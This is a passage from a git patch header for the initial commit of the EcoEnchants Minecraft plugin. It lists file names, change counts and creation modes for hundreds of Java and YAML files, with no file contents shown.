From d0f72ac3d17b13121b156ee8f4016f9435d534ba Mon Sep 17 00:00:00 2001 From: Auxilor Date: Fri, 28 Aug 2020 16:14:36 +0100 Subject: [PATCH] Initial commit --- .gitignore | 6 + API/API.iml | 30 + API/pom.xml | 30 + .../ecoenchants/API/BlockBreakWrapper.java | 8 + .../ecoenchants/API/CooldownWrapper.java | 7 + .../API/NMSEnchantManagerWrapper.java | 8 + .../willfp/ecoenchants/API/TargetWrapper.java | 29 + .../ecoenchants/API/TridentStackWrapper.java | 8 + Plugin/plugin.iml | 129 ++++ Plugin/pom.xml | 236 ++++++ .../java/com/willfp/ecoenchants/Main.java | 96 +++ .../anticheat/AnticheatManager.java | 30 + .../anticheat/AnticheatWrapper.java | 23 + .../anticheat/anticheats/AnticheatAAC.java | 40 + .../anticheat/anticheats/AnticheatMatrix.java | 40 + .../anticheat/anticheats/AnticheatNCP.java | 37 + .../anticheats/AnticheatSpartan.java | 40 + .../ecoenchants/anvil/AnvilListeners.java | 52 ++ .../willfp/ecoenchants/anvil/AnvilMerge.java | 219 ++++++ .../willfp/ecoenchants/bstats/Metrics.java | 727 ++++++++++++++++++ .../ecoenchants/commands/CommandEcodebug.java | 50 ++ .../commands/CommandEcoreload.java | 43 ++ .../ecoenchants/commands/CommandEcoskip.java | 44 ++ .../commands/CommandEnchantinfo.java | 144 ++++ .../ecoenchants/config/ConfigManager.java | 72 ++ .../config/EnchantmentYamlConfig.java | 141 ++++ .../willfp/ecoenchants/config/YamlConfig.java | 88 +++ .../ecoenchants/config/configs/Config.java | 60 ++ .../config/configs/EnchantmentConfig.java | 99 +++ .../ecoenchants/config/configs/Lang.java | 36 + .../ecoenchants/enchantments/Artifact.java | 144 ++++ .../ecoenchants/enchantments/EcoEnchant.java | 321 ++++++++ .../enchantments/EcoEnchantBuilder.java | 129 ++++ .../ecoenchants/enchantments/EcoEnchants.java | 299 +++++++ .../enchantments/EnchantmentRarity.java | 116 +++ .../InvalidEnchantmentException.java | 10 + .../ecoenchants/artifact/CloudsArtifact.java | 17 + .../ecoenchants/artifact/DamageArtifact.java | 15 + .../ecoenchants/artifact/DragonArtifact.java | 15 + .../ecoenchants/artifact/DustArtifact.java | 15 + .../ecoenchants/artifact/EmeraldArtifact.java | 15 + .../artifact/EnchantmentArtifact.java | 15 + .../ecoenchants/artifact/EndArtifact.java | 15 + .../ecoenchants/artifact/FireArtifact.java | 15 + .../ecoenchants/artifact/HeartArtifact.java | 15 + .../ecoenchants/artifact/HoneyArtifact.java | 15 + .../ecoenchants/artifact/InkArtifact.java | 15 + .../ecoenchants/artifact/LavaArtifact.java | 15 + .../ecoenchants/artifact/MagicArtifact.java | 15 + .../ecoenchants/artifact/MagmaArtifact.java | 15 + .../ecoenchants/artifact/MusicArtifact.java | 15 + .../ecoenchants/artifact/NetherArtifact.java | 15 + .../artifact/RedstoneArtifact.java | 17 + .../ecoenchants/artifact/SmokeArtifact.java | 15 + .../ecoenchants/artifact/SnowArtifact.java | 15 + .../ecoenchants/artifact/SparkleArtifact.java | 15 + .../ecoenchants/artifact/TotemArtifact.java | 15 + .../ecoenchants/artifact/WaterArtifact.java | 15 + .../ecoenchants/artifact/WitchArtifact.java | 15 + .../ecoenchants/artifact/ZapArtifact.java | 17 + .../ecoenchants/curse/BreaklessnessCurse.java | 34 + .../ecoenchants/curse/CallingCurse.java | 51 ++ .../ecoenchants/curse/DecayCurse.java | 51 ++ .../ecoenchants/curse/FragilityCurse.java | 34 + .../ecoenchants/curse/HarmlessnessCurse.java | 44 ++ .../ecoenchants/curse/HungerCurse.java | 37 + .../ecoenchants/curse/MisfortuneCurse.java | 34 + .../ecoenchants/curse/PermanenceCurse.java | 18 + .../ecoenchants/normal/Abrasion.java | 75 ++ .../ecoenchants/normal/Aerial.java | 63 ++ .../ecoenchants/normal/Aquatic.java | 58 ++ .../ecoenchants/normal/Arcanic.java | 44 ++ .../ecoenchants/normal/Beheading.java | 76 ++ .../ecoenchants/normal/BlastMining.java | 77 ++ .../ecoenchants/normal/Bleed.java | 74 ++ .../ecoenchants/normal/BossHunter.java | 45 ++ .../ecoenchants/normal/Buckshot.java | 62 ++ .../ecoenchants/normal/Butchering.java | 42 + .../ecoenchants/normal/Cerebral.java | 48 ++ .../ecoenchants/normal/Chopless.java | 47 ++ .../ecoenchants/normal/Cleave.java | 67 ++ .../ecoenchants/normal/Collateral.java | 42 + .../ecoenchants/normal/Cranial.java | 52 ++ .../ecoenchants/normal/Criticals.java | 43 ++ .../ecoenchants/normal/Deflection.java | 53 ++ .../ecoenchants/normal/Defusion.java | 41 + .../ecoenchants/normal/Dexterous.java | 40 + .../ecoenchants/normal/Disappear.java | 47 ++ .../ecoenchants/normal/Diverse.java | 43 ++ .../ecoenchants/normal/Drill.java | 72 ++ .../ecoenchants/normal/Dullness.java | 57 ++ .../ecoenchants/normal/Electroshock.java | 57 ++ .../ecoenchants/normal/EnderSlayer.java | 50 ++ .../ecoenchants/normal/Evasion.java | 43 ++ .../ecoenchants/normal/Extinguishing.java | 45 ++ .../ecoenchants/normal/Extract.java | 63 ++ .../ecoenchants/normal/Famine.java | 56 ++ .../ecoenchants/normal/Farmhand.java | 86 +++ .../ecoenchants/normal/Finishing.java | 43 ++ .../ecoenchants/normal/FireAffinity.java | 44 ++ .../ecoenchants/normal/FirstStrike.java | 45 ++ .../ecoenchants/normal/Flinch.java | 60 ++ .../ecoenchants/normal/Forcefield.java | 46 ++ .../ecoenchants/normal/Freerunner.java | 43 ++ .../ecoenchants/normal/Frozen.java | 55 ++ .../enchantments/ecoenchants/normal/Fury.java | 71 ++ .../ecoenchants/normal/Goliath.java | 46 ++ .../ecoenchants/normal/Grapple.java | 50 ++ .../ecoenchants/normal/GreenThumb.java | 48 ++ .../enchantments/ecoenchants/normal/Grit.java | 51 ++ .../enchantments/ecoenchants/normal/Hook.java | 53 ++ .../ecoenchants/normal/Horde.java | 43 ++ .../ecoenchants/normal/IceShot.java | 58 ++ .../ecoenchants/normal/Ignite.java | 64 ++ .../ecoenchants/normal/IllusionAspect.java | 54 ++ .../ecoenchants/normal/Incandescence.java | 45 ++ .../ecoenchants/normal/InfernalTouch.java | 114 +++ .../ecoenchants/normal/Inferno.java | 59 ++ .../ecoenchants/normal/Instantaneous.java | 44 ++ .../ecoenchants/normal/Invigoration.java | 62 ++ .../ecoenchants/normal/Kinetic.java | 39 + .../ecoenchants/normal/Launch.java | 48 ++ .../ecoenchants/normal/Leeching.java | 55 ++ .../ecoenchants/normal/Levitate.java | 60 ++ .../ecoenchants/normal/LiquidShot.java | 45 ++ .../ecoenchants/normal/Lumberjack.java | 77 ++ .../ecoenchants/normal/MagmaWalker.java | 95 +++ .../ecoenchants/normal/Magnetic.java | 55 ++ .../ecoenchants/normal/Marksman.java | 53 ++ .../ecoenchants/normal/Necrotic.java | 53 ++ .../ecoenchants/normal/NetherInfusion.java | 40 + .../ecoenchants/normal/Nocturnal.java | 42 + .../ecoenchants/normal/Optics.java | 48 ++ .../ecoenchants/normal/Oxygenate.java | 48 ++ .../ecoenchants/normal/Paladin.java | 43 ++ .../ecoenchants/normal/Parasitic.java | 59 ++ .../ecoenchants/normal/Parry.java | 41 + .../ecoenchants/normal/Protector.java | 38 + .../ecoenchants/normal/Proximity.java | 48 ++ .../ecoenchants/normal/Puncture.java | 57 ++ .../ecoenchants/normal/Radiance.java | 54 ++ .../ecoenchants/normal/Rapid.java | 45 ++ .../enchantments/ecoenchants/normal/Reel.java | 49 ++ .../ecoenchants/normal/Reinforcement.java | 39 + .../ecoenchants/normal/Rejuvenation.java | 43 ++ .../ecoenchants/normal/Replenish.java | 54 ++ .../ecoenchants/normal/Sating.java | 42 + .../ecoenchants/normal/Serrated.java | 56 ++ .../ecoenchants/normal/Shockwave.java | 73 ++ .../ecoenchants/normal/ShotAssist.java | 48 ++ .../ecoenchants/normal/Slicing.java | 66 ++ .../ecoenchants/normal/Spearfishing.java | 74 ++ .../ecoenchants/normal/Spiked.java | 48 ++ .../ecoenchants/normal/Splash.java | 62 ++ .../enchantments/ecoenchants/normal/Stab.java | 46 ++ .../ecoenchants/normal/Stamina.java | 44 ++ .../ecoenchants/normal/StoneSwitcher.java | 71 ++ .../ecoenchants/normal/StrayAspect.java | 56 ++ .../ecoenchants/normal/Succession.java | 58 ++ .../ecoenchants/normal/Supercritical.java | 52 ++ .../ecoenchants/normal/Sycophant.java | 46 ++ .../ecoenchants/normal/Tectonic.java | 52 ++ .../ecoenchants/normal/Telekinesis.java | 131 ++++ .../enchantments/ecoenchants/normal/Thor.java | 56 ++ .../ecoenchants/normal/Thrive.java | 60 ++ .../ecoenchants/normal/Tornado.java | 57 ++ .../ecoenchants/normal/Toxic.java | 55 ++ .../ecoenchants/normal/Tripleshot.java | 51 ++ .../ecoenchants/normal/VampireAspect.java | 55 ++ .../enchantments/ecoenchants/normal/Vein.java | 77 ++ .../ecoenchants/normal/Venom.java | 56 ++ .../ecoenchants/normal/WaterAffinity.java | 46 ++ .../ecoenchants/normal/WaterAspect.java | 43 ++ .../ecoenchants/normal/Weakening.java | 66 ++ .../ecoenchants/normal/Wisdom.java | 34 + .../enchantments/ecoenchants/normal/Zeus.java | 55 ++ .../ecoenchants/special/Aiming.java | 104 +++ .../ecoenchants/special/Annihilate.java | 51 ++ .../ecoenchants/special/Bladed.java | 56 ++ .../ecoenchants/special/Bolt.java | 56 ++ .../ecoenchants/special/Carve.java | 67 ++ .../ecoenchants/special/Confusion.java | 65 ++ .../ecoenchants/special/Energizing.java | 37 + .../ecoenchants/special/Frenzy.java | 38 + .../ecoenchants/special/Harpoon.java | 48 ++ .../special/Indestructibility.java | 37 + .../ecoenchants/special/Instability.java | 56 ++ .../ecoenchants/special/Intellect.java | 34 + .../ecoenchants/special/LifeSteal.java | 55 ++ .../ecoenchants/special/Pentashot.java | 52 ++ .../ecoenchants/special/Preservation.java | 42 + .../ecoenchants/special/Prosperity.java | 16 + .../ecoenchants/special/Razor.java | 48 ++ .../ecoenchants/special/Repairing.java | 53 ++ .../ecoenchants/special/Soulbound.java | 64 ++ .../ecoenchants/special/Spring.java | 68 ++ .../ecoenchants/special/Streamlining.java | 43 ++ .../ecoenchants/special/Volatile.java | 68 ++ .../events/armorequip/ArmorEquipEvent.java | 122 +++ .../events/armorequip/ArmorListener.java | 204 +++++ .../events/armorequip/ArmorType.java | 38 + .../armorequip/DispenserArmorListener.java | 28 + .../EntityDeathByEntityBuilder.java | 58 ++ .../EntityDeathByEntityEvent.java | 109 +++ .../EntityDeathByEntityListeners.java | 70 ++ .../NaturalExpGainBuilder.java | 46 ++ .../NaturalExpGainEvent.java | 44 ++ .../NaturalExpGainListeners.java | 56 ++ .../ecoenchants/extensions/Extension.java | 24 + .../extensions/ExtensionManager.java | 104 +++ .../MalformedExtensionException.java | 10 + .../grindstone/GrindstoneListeners.java | 75 ++ .../grindstone/GrindstoneMerge.java | 54 ++ .../listeners/EnchantingListeners.java | 222 ++++++ .../listeners/PlayerJoinListener.java | 19 + .../listeners/VillagerListeners.java | 168 ++++ .../com/willfp/ecoenchants/loader/Loader.java | 424 ++++++++++ .../lore/DisplayPacketAdapter.java | 55 ++ .../willfp/ecoenchants/lore/EnchantLore.java | 259 +++++++ .../naturalloot/LootPopulator.java | 118 +++ .../willfp/ecoenchants/nms/BlockBreak.java | 33 + .../com/willfp/ecoenchants/nms/Cooldown.java | 32 + .../ecoenchants/nms/NMSEnchantManager.java | 35 + .../com/willfp/ecoenchants/nms/Target.java | 62 ++ .../willfp/ecoenchants/nms/TridentStack.java | 33 + .../willfp/ecoenchants/queue/DropQueue.java | 142 ++++ .../willfp/ecoenchants/task/EcoRunnable.java | 8 + .../willfp/ecoenchants/util/AntiGrief.java | 331 ++++++++ .../com/willfp/ecoenchants/util/Bias.java | 16 + .../com/willfp/ecoenchants/util/Circle.java | 36 + .../com/willfp/ecoenchants/util/Cube.java | 36 + .../willfp/ecoenchants/util/EqualIfOver.java | 30 + .../willfp/ecoenchants/util/HasEnchant.java | 266 +++++++ .../ecoenchants/util/ItemDurability.java | 102 +++ .../willfp/ecoenchants/util/Lightning.java | 25 + .../ecoenchants/util/LocationUtils.java | 18 + .../com/willfp/ecoenchants/util/Numeral.java | 48 ++ .../com/willfp/ecoenchants/util/Pair.java | 50 ++ .../com/willfp/ecoenchants/util/Rand.java | 44 ++ .../ecoenchants/util/RecursiveBlock.java | 28 + .../ecoenchants/util/SimplifyVector.java | 39 + .../com/willfp/ecoenchants/util/Square.java | 31 + .../willfp/ecoenchants/util/StringUtils.java | 16 + .../ecoenchants/util/UpdateChecker.java | 34 + .../codehaus/plexus/util/DiscordWebhook.java | 391 ++++++++++ .../org/codehaus/plexus/util/Integrity.java | 60 ++ .../plexus/util/IntegrityManager.java | 11 + .../org/codehaus/plexus/util/UserUtils.java | 45 ++ .../util/reflection/ReflectionManager.java | 16 + .../the/legend/ShittyRussianAntiSkid.java | 5 + Plugin/src/main/resources/README.txt | 57 ++ Plugin/src/main/resources/config.yml | 112 +++ .../enchants/artifact/cloudsartifact.yml | 39 + .../enchants/artifact/damageartifact.yml | 39 + .../enchants/artifact/dragonartifact.yml | 39 + .../enchants/artifact/dustartifact.yml | 39 + .../enchants/artifact/emeraldartifact.yml | 39 + .../enchants/artifact/enchantmentartifact.yml | 39 + .../enchants/artifact/endartifact.yml | 39 + .../enchants/artifact/fireartifact.yml | 39 + .../enchants/artifact/heartartifact.yml | 39 + .../enchants/artifact/honeyartifact.yml | 39 + .../enchants/artifact/inkartifact.yml | 39 + .../enchants/artifact/lavaartifact.yml | 39 + .../enchants/artifact/magicartifact.yml | 39 + .../enchants/artifact/magmaartifact.yml | 39 + .../enchants/artifact/musicartifact.yml | 39 + .../enchants/artifact/netherartifact.yml | 39 + .../enchants/artifact/redstoneartifact.yml | 39 + .../enchants/artifact/smokeartifact.yml | 39 + .../enchants/artifact/snowartifact.yml | 39 + .../enchants/artifact/sparkleartifact.yml | 39 + .../enchants/artifact/totemartifact.yml | 39 + .../enchants/artifact/waterartifact.yml | 39 + .../enchants/artifact/witchartifact.yml | 39 + .../enchants/artifact/zapartifact.yml | 39 + .../enchants/curse/breaklessnesscurse.yml | 22 + .../resources/enchants/curse/callingcurse.yml | 24 + .../resources/enchants/curse/decaycurse.yml | 25 + .../enchants/curse/fragilitycurse.yml | 24 + .../enchants/curse/harmlessnesscurse.yml | 22 + .../resources/enchants/curse/hungercurse.yml | 24 + .../enchants/curse/misfortunecurse.yml | 23 + .../enchants/curse/permanencecurse.yml | 23 + .../resources/enchants/normal/abrasion.yml | 23 + .../main/resources/enchants/normal/aerial.yml | 23 + .../resources/enchants/normal/aquatic.yml | 23 + .../resources/enchants/normal/arcanic.yml | 23 + .../resources/enchants/normal/beheading.yml | 23 + .../resources/enchants/normal/blastmining.yml | 27 + .../main/resources/enchants/normal/bleed.yml | 26 + .../resources/enchants/normal/bosshunter.yml | 23 + .../resources/enchants/normal/buckshot.yml | 27 + .../resources/enchants/normal/butchering.yml | 29 + .../resources/enchants/normal/cerebral.yml | 23 + .../resources/enchants/normal/chopless.yml | 23 + .../main/resources/enchants/normal/cleave.yml | 25 + .../resources/enchants/normal/collateral.yml | 23 + .../resources/enchants/normal/cranial.yml | 23 + .../resources/enchants/normal/criticals.yml | 23 + .../resources/enchants/normal/deflection.yml | 23 + .../resources/enchants/normal/defusion.yml | 29 + .../resources/enchants/normal/dexterous.yml | 23 + .../resources/enchants/normal/disappear.yml | 24 + .../resources/enchants/normal/diverse.yml | 23 + .../main/resources/enchants/normal/drill.yml | 30 + .../resources/enchants/normal/dullness.yml | 25 + .../enchants/normal/electroshock.yml | 24 + .../resources/enchants/normal/enderslayer.yml | 29 + .../resources/enchants/normal/evasion.yml | 24 + .../enchants/normal/extinguishing.yml | 23 + .../resources/enchants/normal/extract.yml | 23 + .../main/resources/enchants/normal/famine.yml | 24 + .../resources/enchants/normal/farmhand.yml | 26 + .../resources/enchants/normal/finishing.yml | 23 + .../enchants/normal/fireaffinity.yml | 24 + .../resources/enchants/normal/firststrike.yml | 23 + .../main/resources/enchants/normal/flinch.yml | 24 + .../resources/enchants/normal/forcefield.yml | 26 + .../resources/enchants/normal/freerunner.yml | 23 + .../main/resources/enchants/normal/frozen.yml | 24 + .../main/resources/enchants/normal/fury.yml | 25 + .../resources/enchants/normal/goliath.yml | 23 + .../resources/enchants/normal/grapple.yml | 26 + .../resources/enchants/normal/greenthumb.yml | 22 + .../main/resources/enchants/normal/grit.yml | 23 + .../main/resources/enchants/normal/hook.yml | 24 + .../main/resources/enchants/normal/horde.yml | 24 + .../resources/enchants/normal/iceshot.yml | 23 + .../main/resources/enchants/normal/ignite.yml | 23 + .../enchants/normal/illusionaspect.yml | 24 + .../enchants/normal/incandescence.yml | 24 + .../enchants/normal/infernaltouch.yml | 24 + .../resources/enchants/normal/inferno.yml | 22 + .../enchants/normal/instantaneous.yml | 23 + .../enchants/normal/invigoration.yml | 26 + .../resources/enchants/normal/kinetic.yml | 23 + .../main/resources/enchants/normal/launch.yml | 23 + .../resources/enchants/normal/leeching.yml | 24 + .../resources/enchants/normal/levitate.yml | 24 + .../resources/enchants/normal/liquidshot.yml | 23 + .../resources/enchants/normal/lumberjack.yml | 40 + .../resources/enchants/normal/magmawalker.yml | 25 + .../resources/enchants/normal/magnetic.yml | 25 + .../resources/enchants/normal/marksman.yml | 22 + .../resources/enchants/normal/necrotic.yml | 24 + .../enchants/normal/netherinfusion.yml | 24 + .../resources/enchants/normal/nocturnal.yml | 23 + .../main/resources/enchants/normal/optics.yml | 23 + .../resources/enchants/normal/oxygenate.yml | 23 + .../resources/enchants/normal/paladin.yml | 23 + .../resources/enchants/normal/parasitic.yml | 23 + .../main/resources/enchants/normal/parry.yml | 23 + .../resources/enchants/normal/protector.yml | 22 + .../resources/enchants/normal/proximity.yml | 24 + .../resources/enchants/normal/puncture.yml | 23 + .../resources/enchants/normal/radiance.yml | 24 + .../main/resources/enchants/normal/rapid.yml | 23 + .../main/resources/enchants/normal/reel.yml | 23 + .../enchants/normal/reinforcement.yml | 23 + .../enchants/normal/rejuvenation.yml | 23 + .../resources/enchants/normal/replenish.yml | 22 + .../main/resources/enchants/normal/sating.yml | 23 + .../resources/enchants/normal/serrated.yml | 28 + .../resources/enchants/normal/shockwave.yml | 23 + .../resources/enchants/normal/shotassist.yml | 23 + .../resources/enchants/normal/slicing.yml | 25 + .../enchants/normal/spearfishing.yml | 28 + .../main/resources/enchants/normal/spiked.yml | 24 + .../main/resources/enchants/normal/splash.yml | 25 + .../main/resources/enchants/normal/stab.yml | 25 + .../resources/enchants/normal/stamina.yml | 23 + .../enchants/normal/stoneswitcher.yml | 27 + .../resources/enchants/normal/strayaspect.yml | 24 + .../resources/enchants/normal/succession.yml | 26 + .../enchants/normal/supercritical.yml | 25 + .../resources/enchants/normal/sycophant.yml | 23 + .../resources/enchants/normal/tectonic.yml | 27 + .../resources/enchants/normal/telekinesis.yml | 23 + .../main/resources/enchants/normal/thor.yml | 25 + .../main/resources/enchants/normal/thrive.yml | 24 + .../resources/enchants/normal/tornado.yml | 26 + .../main/resources/enchants/normal/toxic.yml | 24 + .../resources/enchants/normal/tripleshot.yml | 25 + .../enchants/normal/vampireaspect.yml | 24 + .../main/resources/enchants/normal/vein.yml | 38 + .../main/resources/enchants/normal/venom.yml | 23 + .../enchants/normal/wateraffinity.yml | 24 + .../resources/enchants/normal/wateraspect.yml | 24 + .../resources/enchants/normal/weakening.yml | 24 + .../main/resources/enchants/normal/wisdom.yml | 25 + .../main/resources/enchants/normal/zeus.yml | 24 + .../resources/enchants/special/aiming.yml | 25 + .../resources/enchants/special/annihilate.yml | 26 + .../resources/enchants/special/bladed.yml | 28 + .../main/resources/enchants/special/bolt.yml | 25 + .../main/resources/enchants/special/carve.yml | 25 + .../resources/enchants/special/confusion.yml | 24 + .../resources/enchants/special/energizing.yml | 24 + .../resources/enchants/special/frenzy.yml | 23 + .../resources/enchants/special/harpoon.yml | 24 + .../enchants/special/indestructibility.yml | 24 + .../enchants/special/instability.yml | 24 + .../resources/enchants/special/intellect.yml | 25 + .../resources/enchants/special/lifesteal.yml | 24 + .../resources/enchants/special/pentashot.yml | 25 + .../enchants/special/preservation.yml | 27 + .../resources/enchants/special/prosperity.yml | 24 + .../main/resources/enchants/special/razor.yml | 31 + .../resources/enchants/special/repairing.yml | 26 + .../resources/enchants/special/soulbound.yml | 22 + .../resources/enchants/special/spring.yml | 23 + .../enchants/special/streamlining.yml | 23 + .../resources/enchants/special/volatile.yml | 26 + Plugin/src/main/resources/lang.yml | 186 +++++ Plugin/src/main/resources/plugin.yml | 699 +++++++++++++++++ lib/AdvancedEnchantments.jar | Bin 0 -> 18908 bytes lib/SpartanAPI.jar | Bin 0 -> 15405 bytes parent.iml | 15 + pom.xml | 92 +++ v1_15_R1/pom.xml | 38 + .../ecoenchants/v1_15_R1/BlockBreak.java | 14 + .../willfp/ecoenchants/v1_15_R1/Cooldown.java | 14 + .../v1_15_R1/CraftEnchantWrapper.java | 58 ++ .../ecoenchants/v1_15_R1/NMSEnchant.java | 52 ++ .../v1_15_R1/NMSEnchantManager.java | 75 ++ .../willfp/ecoenchants/v1_15_R1/Target.java | 149 ++++ .../ecoenchants/v1_15_R1/TridentStack.java | 16 + v1_15_R1/v1_15_R1.iml | 33 + v1_16_R1/pom.xml | 38 + .../ecoenchants/v1_16_R1/BlockBreak.java | 14 + .../willfp/ecoenchants/v1_16_R1/Cooldown.java | 11 + .../v1_16_R1/CraftEnchantWrapper.java | 58 ++ .../ecoenchants/v1_16_R1/NMSEnchant.java | 58 ++ .../v1_16_R1/NMSEnchantManager.java | 75 ++ .../willfp/ecoenchants/v1_16_R1/Target.java | 158 ++++ .../ecoenchants/v1_16_R1/TridentStack.java | 16 + v1_16_R1/v1_16_R1.iml | 33 + v1_16_R2/pom.xml | 38 + .../ecoenchants/v1_16_R2/BlockBreak.java | 14 + .../willfp/ecoenchants/v1_16_R2/Cooldown.java | 11 + .../v1_16_R2/CraftEnchantWrapper.java | 58 ++ .../ecoenchants/v1_16_R2/NMSEnchant.java | 58 ++ .../v1_16_R2/NMSEnchantManager.java | 75 ++ .../willfp/ecoenchants/v1_16_R2/Target.java | 158 ++++ .../ecoenchants/v1_16_R2/TridentStack.java | 16 + v1_16_R2/v1_16_R2.iml | 24 + 447 files changed, 22506 insertions(+) create mode 100644 .gitignore create mode 100644 API/API.iml create mode 100644 API/pom.xml create mode 100644 API/src/main/java/com/willfp/ecoenchants/API/BlockBreakWrapper.java create mode 100644 API/src/main/java/com/willfp/ecoenchants/API/CooldownWrapper.java create mode 100644 API/src/main/java/com/willfp/ecoenchants/API/NMSEnchantManagerWrapper.java create mode 100644 API/src/main/java/com/willfp/ecoenchants/API/TargetWrapper.java create mode 100644 API/src/main/java/com/willfp/ecoenchants/API/TridentStackWrapper.java create mode 100644 Plugin/plugin.iml create mode 100644 Plugin/pom.xml create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/Main.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatManager.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anticheat/AnticheatWrapper.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatAAC.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatMatrix.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatNCP.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anticheat/anticheats/AnticheatSpartan.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilListeners.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/anvil/AnvilMerge.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/bstats/Metrics.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcodebug.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoreload.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEcoskip.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/commands/CommandEnchantinfo.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/config/ConfigManager.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/config/EnchantmentYamlConfig.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/config/YamlConfig.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Config.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/config/configs/EnchantmentConfig.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/config/configs/Lang.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/Artifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchant.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchantBuilder.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EcoEnchants.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/EnchantmentRarity.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/InvalidEnchantmentException.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/CloudsArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DamageArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DragonArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/DustArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EmeraldArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EnchantmentArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/EndArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/FireArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HeartArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/HoneyArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/InkArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/LavaArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagicArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MagmaArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/MusicArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/NetherArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/RedstoneArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SmokeArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SnowArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/SparkleArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/TotemArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WaterArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/WitchArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/artifact/ZapArtifact.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/BreaklessnessCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/CallingCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/DecayCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/FragilityCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HarmlessnessCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/HungerCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/MisfortuneCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/curse/PermanenceCurse.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Abrasion.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aerial.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Aquatic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Arcanic.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Beheading.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BlastMining.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/Bleed.java create mode 100644 Plugin/src/main/java/com/willfp/ecoenchants/enchantments/ecoenchants/normal/BossHunter.java create mode 100644 